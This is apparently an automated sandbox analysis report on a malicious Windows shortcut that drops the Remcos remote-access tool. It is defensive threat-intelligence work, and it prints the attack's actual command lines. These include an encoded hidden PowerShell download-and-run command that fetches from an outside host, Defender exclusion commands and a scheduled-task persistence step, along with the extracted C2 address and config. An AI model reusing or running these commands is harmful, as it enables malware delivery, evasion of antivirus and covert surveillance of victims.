Analysis

  • max time kernel
    147s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 12:01

General

  • Target

    MalwareBazaar.lnk

  • Size

    2KB

  • MD5

    a38b0a4d0768ba8ce7c73904b55ee9ff

  • SHA1

    a1a13ef45fcf88eaff3dcffba1fb2608aa07e3c8

  • SHA256

    3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809

  • SHA512

    4159cd37110d910624b8bb5c837e70668b3e6d795e1ab276ea32f5ab315509dedf11bd865d4c1be41f9cec698235453996939a0ac8a45f36a28a45bdf28b7cf8

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

204.10.160.230:7983

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-O7QOC3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
          "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1156
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3616
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\HODoCxSdp.exe"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2244
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HODoCxSdp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp34A7.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:4808
          • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
            "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
            5⤵
            • Executes dropped EXE
            PID:1180
          • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
            "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    3cbb110c8306765af14935b87faff53d

    SHA1

    b43050dbfa09f262ebf9dff16bc84d7ffd1085ef

    SHA256

    67a9513894b6467f486f0e5bb6c14c9fb3167869f263da8512c7ae8ba69689fd

    SHA512

    ffc1c58e2e6c3a51c893038b2907dca431731f68ded1b96fab5bf7382191979732ed9cf374277675fa01dc057f1739a54692266599ddf54676b791e72f7bf9cc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    de6aa76f93d4b52a199d3c98d970e110

    SHA1

    04ddc85a8c120fecab8623fe4138a508928d08db

    SHA256

    ddcd2e80e82a9efc63f8a8bac854e8e4f942c7bd4b49266cf8f4be13883294b2

    SHA512

    43a0aaf20d756287f0fcb0d00de557b18b1f1127a8feebaf9ccb55218c7dcc484d06494f5015855fcdb72da9b34cb77e2e8792bf57afc2a3cd7eeefa5c6bb74c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kecsl5ib.2by.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp34A7.tmp

    Filesize

    1KB

    MD5

    1802e375559eb1ff0f19e9f9f9ebce9d

    SHA1

    56e4885282b51d273a5c4fb8edcdb93308468c5e

    SHA256

    74f756deec820dc45eda8b288931688cbbbb4f0e1694cd62a21d47e4d9c5817e

    SHA512

    8cdc265b19a7f966eb0bd9524663d50b24247e3a80b5d0678094f07bd7cbad3dd414957db2614780dca9410de6c3aabee9aab109d3da1ed0f8508777c9dc969e

  • C:\Users\Admin\AppData\Roaming\PuttyTest777.pif

    Filesize

    939KB

    MD5

    3f69729a8f2b22e625bb984f28758ebc

    SHA1

    ab8aab5952dfcf0d705daff76448920c67b6241d

    SHA256

    d1b50fc6ce79320a88defef33baf6a51e30845bd13ab2b52f7925ba0b8f527cd

    SHA512

    c4622e82f66aa728ded76ef628bd31ddcd35581a10a6043e735e557a26c8f9c72c67713f29a3ed90f647bf268484b44cf812918a02aa8e1539c3fdac7bcc1fa1

  • memory/1156-29-0x00000000066C0000-0x000000000677E000-memory.dmp

    Filesize

    760KB

  • memory/1156-21-0x0000000000360000-0x000000000044E000-memory.dmp

    Filesize

    952KB

  • memory/1156-22-0x0000000004DE0000-0x0000000004E72000-memory.dmp

    Filesize

    584KB

  • memory/1156-23-0x00000000054A0000-0x0000000005A44000-memory.dmp

    Filesize

    5.6MB

  • memory/1156-24-0x0000000005090000-0x000000000509A000-memory.dmp

    Filesize

    40KB

  • memory/1156-25-0x0000000006120000-0x00000000061BC000-memory.dmp

    Filesize

    624KB

  • memory/1156-26-0x00000000065C0000-0x0000000006690000-memory.dmp

    Filesize

    832KB

  • memory/1156-27-0x0000000005440000-0x000000000544E000-memory.dmp

    Filesize

    56KB

  • memory/1156-28-0x0000000005460000-0x000000000546E000-memory.dmp

    Filesize

    56KB

  • memory/2244-97-0x00000000075B0000-0x00000000075BE000-memory.dmp

    Filesize

    56KB

  • memory/2244-67-0x0000000006060000-0x000000000607E000-memory.dmp

    Filesize

    120KB

  • memory/2244-100-0x00000000076A0000-0x00000000076A8000-memory.dmp

    Filesize

    32KB

  • memory/2244-37-0x0000000005790000-0x00000000057F6000-memory.dmp

    Filesize

    408KB

  • memory/2244-36-0x0000000005090000-0x00000000050B2000-memory.dmp

    Filesize

    136KB

  • memory/2244-95-0x0000000007600000-0x0000000007696000-memory.dmp

    Filesize

    600KB

  • memory/2244-38-0x0000000005800000-0x0000000005866000-memory.dmp

    Filesize

    408KB

  • memory/2244-93-0x0000000007380000-0x000000000739A000-memory.dmp

    Filesize

    104KB

  • memory/2244-92-0x00000000079C0000-0x000000000803A000-memory.dmp

    Filesize

    6.5MB

  • memory/2244-81-0x0000000075B70000-0x0000000075BBC000-memory.dmp

    Filesize

    304KB

  • memory/2244-68-0x00000000060F0000-0x000000000613C000-memory.dmp

    Filesize

    304KB

  • memory/3616-80-0x0000000007950000-0x000000000796E000-memory.dmp

    Filesize

    120KB

  • memory/3616-98-0x0000000007D40000-0x0000000007D54000-memory.dmp

    Filesize

    80KB

  • memory/3616-35-0x0000000005A10000-0x0000000006038000-memory.dmp

    Filesize

    6.2MB

  • memory/3616-99-0x0000000007E40000-0x0000000007E5A000-memory.dmp

    Filesize

    104KB

  • memory/3616-70-0x0000000075B70000-0x0000000075BBC000-memory.dmp

    Filesize

    304KB

  • memory/3616-69-0x0000000007970000-0x00000000079A2000-memory.dmp

    Filesize

    200KB

  • memory/3616-96-0x0000000007D00000-0x0000000007D11000-memory.dmp

    Filesize

    68KB

  • memory/3616-91-0x00000000079B0000-0x0000000007A53000-memory.dmp

    Filesize

    652KB

  • memory/3616-34-0x0000000005220000-0x0000000005256000-memory.dmp

    Filesize

    216KB

  • memory/3616-94-0x0000000007B70000-0x0000000007B7A000-memory.dmp

    Filesize

    40KB

  • memory/3616-51-0x00000000061B0000-0x0000000006504000-memory.dmp

    Filesize

    3.3MB

  • memory/4568-102-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-112-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-63-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-115-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-60-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-114-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-65-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-101-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-116-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-64-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-113-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-108-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4568-111-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4972-20-0x00007FFB29FB0000-0x00007FFB2AA71000-memory.dmp

    Filesize

    10.8MB

  • memory/4972-0-0x00007FFB29FB3000-0x00007FFB29FB5000-memory.dmp

    Filesize

    8KB

  • memory/4972-12-0x00007FFB29FB0000-0x00007FFB2AA71000-memory.dmp

    Filesize

    10.8MB

  • memory/4972-1-0x0000021AD7E30000-0x0000021AD7E52000-memory.dmp

    Filesize

    136KB

  • memory/4972-11-0x00007FFB29FB0000-0x00007FFB2AA71000-memory.dmp

    Filesize

    10.8MB